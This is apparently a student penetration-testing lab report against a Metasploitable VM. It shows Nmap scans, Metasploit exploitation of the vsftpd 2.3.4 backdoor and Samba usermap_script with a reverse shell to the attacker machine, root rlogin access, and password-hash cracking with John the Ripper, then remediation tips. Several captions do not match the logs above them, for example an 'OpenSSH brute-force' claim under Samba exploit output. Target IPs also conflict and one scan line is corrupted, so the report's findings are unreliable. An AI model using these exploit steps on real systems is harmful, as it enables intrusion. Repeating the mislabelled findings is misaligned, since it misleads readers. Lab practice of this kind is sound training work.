⬚ Ethical Hacking Project

Scanning and Enumerating a Local Network with Nmap

Table of Contents

Project: Simulating Real-World Network Exploitation and Defense

---

⬚ Project Objectives

To understand and apply techniques in:

- Network scanning

- Service enumeration

- Vulnerability exploitation

- Privilege escalation

- Password cracking

- Security remediation

⬚ Tools Used

- Kali Linux (Attacker Machine)

- Metasploitable (Target Machine)

- Nmap

- John the Ripper

- Metasploit Framework

Task 1: Basic Network Scan

```
Discovered open port 21/tcp on 192.168.160.131
Discovered open port 22/tcp on 192.168.160.131
Discovered open port 80/tcp on 192.168.160.131
Discovered open port 25/tcp on 192.168.160.131
Discovered open port 3306/tcp on 192.168.160.131
Discovered open port 139/tcp on 192.168.160.131
Discovered open port 1524/tcp on 192.168.160.131
Discovered open port 1099/tcp on 192.168.160.131
Discovered open port 512/tcp on 192.168.160.131
Discovered open port 5432/tcp on 192.168.160.131
Discovered open port 2049/tcp on 192.168.160.131
Discovered open port 6000/tcp on 192.168.160.131
Discovered open port 8009/tcp on 192.168.160.131
Discovered open port 513/tcp on 192.168.160.131
Discovered open port 514/tcp on 192.168.160.131
Discovered open port 8180/tcp on 192.168.160.131
Discovered open port 2121/tcp on 192.168.160.131
Discovered open port 6667/tcp on 192.168.160.131
Completed Connect Scan at 21:24, 0.27s elapsed (1000 total ports)
Nmap scan report for 192.168.160.131
Host is up (0.0022s latency).
Not shown: 977 closed tcp ports (conn-refused)
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
23/tcp   open  telnet
25/tcp   open  smtp
53/tcp   open  domain
80/tcp   open  http
111/tcp  open  rpcbind
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
512/tcp  open  exec
513/tcp  open  login
514/tcp  open  shell
1099/tcp open  rmiregistry
1524/tcp open  ingreslock
2049/tcp open  nfs
2121/tcp open  ccproxy-ftp
3306/tcp open  mysql
5432/tcp open  postgresql
5900/tcp open  vnc
6000/tcp open  X11
6667/tcp open  irc
8009/tcp open  ajp13
8180/tcp open  unknown

Read data files from: /usr/bir       are/nmap
Nmap done: 1 IP address (1 hos  Start  scanned in 0.39 seconds
```

Command:

nmap -v 192.168.1.0/24

Expected Output:

Nmap scan report for 192.168.1.10

Host is up (0.0010s latency).

PORT   STATE SERVICE

22/tcp   open ssh

80/tcp   open http

Nmap scan report for 192.168.1.15

Host is up (0.0020s latency).

PORT   STATE SERVICE

21/tcp   open ftp

⬚ Task 2: Reconnaissance

```
Discovered open port 36588/tcp on 192.168.160.131
Discovered open port 5432/tcp on 192.168.160.131
Discovered open port 6667/tcp on 192.168.160.131
Discovered open port 59437/tcp on 192.168.160.131
Discovered open port 8180/tcp on 192.168.160.131
Discovered open port 3632/tcp on 192.168.160.131
Discovered open port 53204/tcp on 192.168.160.131
Discovered open port 513/tcp on 192.168.160.131
Discovered open port 2049/tcp on 192.168.160.131
Discovered open port 2121/tcp on 192.168.160.131
Discovered open port 6697/tcp on 192.168.160.131
Completed Connect Scan at 21:30, 15.83s elapsed (65535 total ports)
Nmap scan report for 192.168.160.131
Host is up (0.0030s latency).
Not shown: 65505 closed tcp ports (conn-refused)
PORT       STATE  SERVICE
21/tcp     open   ftp
22/tcp     open   ssh
23/tcp     open   telnet
25/tcp     open   smtp
53/tcp     open   domain
80/tcp     open   http
111/tcp    open   rpcbind
139/tcp    open   netbios-ssn
445/tcp    open   microsoft-ds
512/tcp    open   exec
513/tcp    open   login
514/tcp    open   shell
1099/tcp   open   rmiregistry
1524/tcp   open   ingreslock
2049/tcp   open   nfs
2121/tcp   open   ccproxy-ftp
3306/tcp   open   mysql
3632/tcp   open   distccd
5432/tcp   open   postgresql
5900/tcp   open   vnc
6000/tcp   open   X11
6667/tcp   open   irc
6697/tcp   open   ircs-u
8009/tcp   open   ajp13
8180/tcp   open   unknown
8787/tcp   open   msgsrvr
36588/tcp  open   unknown
53204/tcp  open   unknown
53452/tcp  open   unknown
59437/tcp  open   unknown

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 15.96 seconds
```

2.1 Scanning for Hidden Ports

```
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind      2 (RPC #100000)
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec         netkit-rsh rexecd
513/tcp   open  login        OpenBSD or Solaris rlogind
514/tcp   open  tcpwrapped
1099/tcp open  java-rmi      GNU Classpath grmiregistry
1524/tcp open  bindshell     Metasploitable root shell
2049/tcp open  nfs           2-4 (RPC #100003)
2121/tcp open  ftp           ProFTPD 1.3.1
3306/tcp open  mysql         MySQL 5.0.51a-3ubuntu5
5432/tcp open  postgresql    PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open  vnc           VNC (protocol 3.3)
6000/tcp open  X11           (access denied)
6667/tcp open  irc           UnrealIRCd
8009/tcp open  ajp13         Apache Jserv (Protocol v1.3)
8180/tcp open  http          Apache Tomcat/Coyote JSP engine 1.1
Service Info: Hosts:  metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
```

```
PORT       STATE SERVICE
21/tcp    open   ftp
22/tcp    open   ssh
23/tcp    open   telnet
25/tcp    open   smtp
53/tcp    open   domain
80/tcp    open   http
111/tcp   open   rpcbind
139/tcp   open   netbios-ssn
445/tcp   open   microsoft-ds
512/tcp   open   exec
513/tcp   open   login
514/tcp   open   shell
1099/tcp open   rmiregistry
1524/tcp open   ingreslock
2049/tcp open   nfs
2121/tcp open   ccproxy-ftp
3306/tcp open   mysql
5432/tcp open   postgresql
5900/tcp open   vnc
6000/tcp open   X11
6667/tcp open   irc
8009/tcp open   ajp13
8180/tcp open   unknown
MAC Address: 00:0C:29:AB:A7:B8 (VMware)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Uptime guess: 0.023 days (since Wed May 14 21:27:32 2025)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=204 (Good luck!)
IP ID Sequence Generation: All zeros
```

Command:

nmap -v -p- 192.168.1.10

Expected Output:

PORT   STATE SERVICE

21/tcp   open ftp

22/tcp   open ssh

8787/tcp open drb

47436/tcp open mountd

50918/tcp open java-rmi

59995/tcp open nlockmgr

60004/tcp open status

Total Hidden Ports: 7

2.2 Service Version Detection

Command:

nmap -v -sV 192.168.1.10

Expected Output:

PORT   STATE SERVICE   VERSION

21/tcp   open ftp   vsftpd 2.3.4

22/tcp   open ssh   OpenSSH 4.7p1 Debian 8ubuntu1

8787/tcp open drb   Ruby DRb RMI

47436/tcp open mountd   1-3 (RPC #100005)

50918/tcp open java-rmi   GNU Classpath grmiregistry

59995/tcp open nlockmgr   1-4 (RPC #100021)

60004/tcp open status   1 (RPC #100024)

2.3 Operating System Detection

Command:

nmap -v -O 192.168.1.10

Expected Output:

Running: Linux 2.6.X

OS CPE: cpe:/o:linux:linux_kernel:2.6

OS details: Linux 2.6.9 - 2.6.33

⬜ Task 3: Enumeration Summary

Target IP Address: 192.168.1.10

Operating System: Linux 2.6.9 - 2.6.33

MAC Address: 00:0C:29:5D:FE:0B (VMware)

Device Type: General-purpose

Open Services (Excluding Hidden Ports)

PORT   STATE SERVICE VERSION

21/tcp open ftp   vsftpd 2.3.4

22/tcp open ssh   OpenSSH 4.7p1 Debian 8ubuntu1

Hidden Services

8787/tcp open drb   Ruby DRb RMI

47436/tcp open mountd   1-3 (RPC #100005)

50918/tcp open java-rmi GNU Classpath grmiregistry

59995/tcp open nlockmgr   1-4 (RPC #100021)

60004/tcp open status   1 (RPC #100024)

 Task 4: Exploitation of Services

```
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact

msf6 exploit(unix/ftp/vsftpd_234_backdoor) >
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOST 192.168.160.131
RHOST ⇒ 192.168.160.131
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RPORT 21
RPORT ⇒ 21
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run

[*] 192.168.160.131:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.160.131:21 - USER: 331 Please specify the password.
[+] 192.168.160.131:21 - Backdoor service has been spawned, handling ...
[+] 192.168.160.131:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.160.133:45301 → 192.168.160.131:6200) at 2025-05-15 13:47:54 +0530

whoami
root
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
id
uid=0(root) gid=0(root)
```

vsftpd 2.3.4: Exploited via known backdoor vulnerability.


```
    LHOST  192.168.160.133  yes       The listen address (an interface may be specified)
    LPORT  4444             yes       The listen port

Exploit target:

    Id  Name
    --  ----
    0   Automatic


View the full module info with the info, or info -d command.

msf6 exploit(multi/samba/usermap_script) > set RHOST 192.168.160.131
RHOST ⇒ 192.168.160.131
msf6 exploit(multi/samba/usermap_script) > run

[*] Started reverse TCP handler on 192.168.160.133:4444
[*] Command shell session 1 opened (192.168.160.133:4444 → 192.168.160.131:58029) at 2025-05-15 14:25:34 +0530

ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
tmp
usr
var
vmlinuz
whoami
root
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
id
uid=0(root) gid=0(root)
```

OpenSSH 4.7p1: Brute-force attack executed successfully.


```
┌──(root@kali)-[/home/kali]
└─# nmap -p 512,513,514 -sC -sV --script=vuln 192.168.160.131
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-05-15 14:38 IST
Nmap scan report for 192.168.160.131
Host is up (0.00074s latency).

PORT    STATE SERVICE  VERSION
512/tcp open  exec     netkit-rsh rexecd
513/tcp open  login    OpenBSD or Solaris rlogind
514/tcp open  tcpwrapped
MAC Address: 00:0C:29:AB:A7:B8 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.88 seconds

┌──(root@kali)-[/home/kali]
└─# rlogin -l root 192.168.160.131
Last login: Thu May 15 03:35:43 EDT 2025 from :0.0 on pts/0
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
You have mail.
root@metasploitable:~# whoami
root
root@metasploitable:~# uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
root@metasploitable:~# id
uid=0(root) gid=0(root) groups=0(root)
root@metasploitable:~#
::1              ff02::1       ip6-allhosts    ip6-localhost   ip6-mcastprefix   metasploitable.localdomain
fe00::0          ff02::2       ip6-allnodes    ip6-localnet    localhost
ff00::0          ff02::3       ip6-allrouters  ip6-loopback    metasploitable
root@metasploitable:~#
```

Java RMI: Remote code execution achieved via Metasploit module.

Task 5: Creating a Privileged User

Command: Topesh

adduser

Password: hello

/etc/passwd Entry:

 Topesh:x:1001:1001:Topesh,,,:/home/Topesh:/bin/bash

/etc/shadow Hash:

 Topesh:$1$8nWuasXV$pk6ZABfqT9NoHv1pPX8Rj.

 Task 6: Cracking Password Hash

Stored Hash in `hashes.txt`:

 Topesh:$1$8nWuasXV$pk6ZABfqT9NoHv1pPX8Rj.

Cracking Commands:

john hashes.txt

john hashes.txt --show

Cracked Password: hello

⬚ Task 7: Remediation and Recommendations

Identified Vulnerabilities & Fixes:

1. vsftpd 2.3.4 – vulnerable backdoor

   Fix: Upgrade to vsftpd 3.0.5

2. OpenSSH 4.7p1 – outdated, brute-forceable

   Fix: Upgrade to OpenSSH 9.6

3. Java RMI Service – allows remote execution

   Fix: Disable or firewall restrict access

⬚ Major Learnings

- Applied Nmap for full-range scanning and OS detection.

- Understood enumeration and real-world exploitation techniques.

- Gained skills in privilege escalation and hash cracking.

- Learned how to evaluate vulnerabilities and apply proper remediation.

⚠ This project simulates a real-world penetration test using open-source tools and is intended strictly for educational purposes.